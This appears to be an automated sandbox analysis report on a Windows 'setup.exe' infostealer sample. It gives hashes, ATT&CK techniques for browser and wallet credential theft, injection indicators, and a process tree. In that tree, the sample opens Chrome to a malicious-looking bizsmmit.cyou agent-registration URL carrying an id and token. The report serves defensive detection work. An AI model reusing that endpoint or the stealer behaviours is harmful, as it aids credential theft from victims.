4b7d75f5c35d8d326af5723fb77c44d769478c90ca2f88e2edfb3e08817fb29c

Analysis

user interaction
yes
max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 13:26

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General

Target
setup.exe
Size 3.4MB
Sample260802-qplvmaaf53
SHA256 4b7d75f5c35d8d326af5723fb77c44d769478c90ca2f88e2edfb3e08817fb29c
MD5 535b2a9b271023948496f9577593c06f
SHA1 66bb29d6e15afb643a88e54e63dbfe5b7c7f85b2
SHA512 852b1346f76de7369dd9628b8bc4307402021189999ee2399bed9ea1c7c407d527b3605b839ccc19943ee08c0a6c6505a815be327d4a3321c36bb5a792789b07
SSDEEP 49152:nE67sgRFV/zl+H4tNuH0k0fOuwf+yDDPRoFS7eNbQQD7P83V:E6IgRF9B+temBeE7e6QDK
TLSH
T197F56C01FEC748F5E4036E3561AF226F3739B8154B35D693EE043EB9E9B72819823649
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery ransomware spyware stealer

Malware Config

Signatures

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4776	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	NOTEPAD.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4692	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5980	setup.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe
3532	chrome.exe
3532	chrome.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe
5980	setup.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3532	chrome.exe
3532	chrome.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3532	chrome.exe
Token: SeCreatePagefilePrivilege	3532	chrome.exe
Token: SeShutdownPrivilege	3532	chrome.exe
Token: SeCreatePagefilePrivilege	3532	chrome.exe
Token: SeShutdownPrivilege	3532	chrome.exe
Token: SeCreatePagefilePrivilege	3532	chrome.exe
Token: SeShutdownPrivilege	3532	chrome.exe
Token: SeCreatePagefilePrivilege	3532	chrome.exe
Token: SeShutdownPrivilege	3532	chrome.exe
Token: SeCreatePagefilePrivilege	3532	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe
3532	chrome.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 5980 wrote to memory of 3532	5980	setup.exe	90
PID 3532 wrote to memory of 1400	3532	chrome.exe	91
PID 3532 wrote to memory of 2500	3532	chrome.exe	92
PID 3532 wrote to memory of 4776	3532	chrome.exe	93
PID 3532 wrote to memory of 2500	3532	chrome.exe	92
PID 3532 wrote to memory of 5428	3532	chrome.exe	94
PID 3532 wrote to memory of 5428	3532	chrome.exe	94
PID 3532 wrote to memory of 5336	3532	chrome.exe	96
PID 3532 wrote to memory of 5336	3532	chrome.exe	96
PID 3532 wrote to memory of 2516	3532	chrome.exe	97
PID 3532 wrote to memory of 2516	3532	chrome.exe	97
PID 3532 wrote to memory of 2312	3532	chrome.exe	98
PID 3532 wrote to memory of 2312	3532	chrome.exe	98
PID 3532 wrote to memory of 2356	3532	chrome.exe	99
PID 3532 wrote to memory of 2356	3532	chrome.exe	99

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" bizsmmit.cyou/api/set_agent?id=401FA15BBD24956701AEC7B30ADF174C&token=f63c436b52398b25d646c1b190a76c0aba2093&description=&agent=Chrome
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8b80ac728,0x7ff8b80ac734,0x7ff8b80ac740
    3⤵
    PID:1400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1732,i,2648840271401458298,1737257912500451496,262144 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:2
    3⤵
    PID:2500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2036,i,8789309589066513913,16593587016924751946,524288 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2332,i,17086415443426948338,6043106782293345031,524288 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:13
    3⤵
    PID:5428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2112,i,15299523774574016045,16120076254838050138,2097152 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:5336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3188,i,10812850018627683559,11228306100958985724,2097152 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:1
    3⤵
    PID:2516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4660,i,4893368313063922601,16469290989850730299,524288 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:14
    3⤵
    PID:2312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4632,i,10318333829162007910,15081666113158804307,524288 --field-trial-handle=1944,i,10704763784098163704,10149322561952853814,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:12
    3⤵
    PID:2356

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1008

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\ApproveRedo.txt
1⤵
- Modifies registry class
- Opens file in notepad (likely ransom note)
PID:4692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 70d599888264f36371ae745bf1e1af0512157c83bcf079f56d8f08f5ab4dd408
MD5 6b88ed0a49af64e53b66f74fe7c4f671
SHA1 0cf586f95bce5fe2c4ec629645372a7fb7fa892c
SHA512 a5bb91f79d540c55fa196ce28b6220368fdf9c9c45263b39cd62a5df5f51be1e08d4fc92bf374162f751782af28ff28e693696594fcea33b88f4b8f5f97ac2fb
SSDEEP 96:xC0d+EZUAbKFKu0d6aF7QuGJfmbE13IERDotok5FlDlB60GyvnnXPlbKmb0v4a:xC0PtbKFKu00UUSb/iDUDPbECXPlbK7
TLSH
T187A12C72A4698DB35976D64AF9622A03CF74F12B9D22AF54D9CD0F0C00FB1EC0342627
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5980-33-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-30-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-40-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-41-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-39-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-38-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-28-0x0000000000400000-0x0000000000461000-memory.dmp

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memory/5980-37-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-35-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-34-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-0-0x0000000000400000-0x0000000000461000-memory.dmp

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memory/5980-32-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-31-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-36-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-29-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-27-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-46-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-56-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-55-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-54-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-53-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-49-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-52-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-51-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-50-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-48-0x0000000023D90000-0x0000000023D91000-memory.dmp

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memory/5980-47-0x0000000023D90000-0x0000000023D91000-memory.dmp

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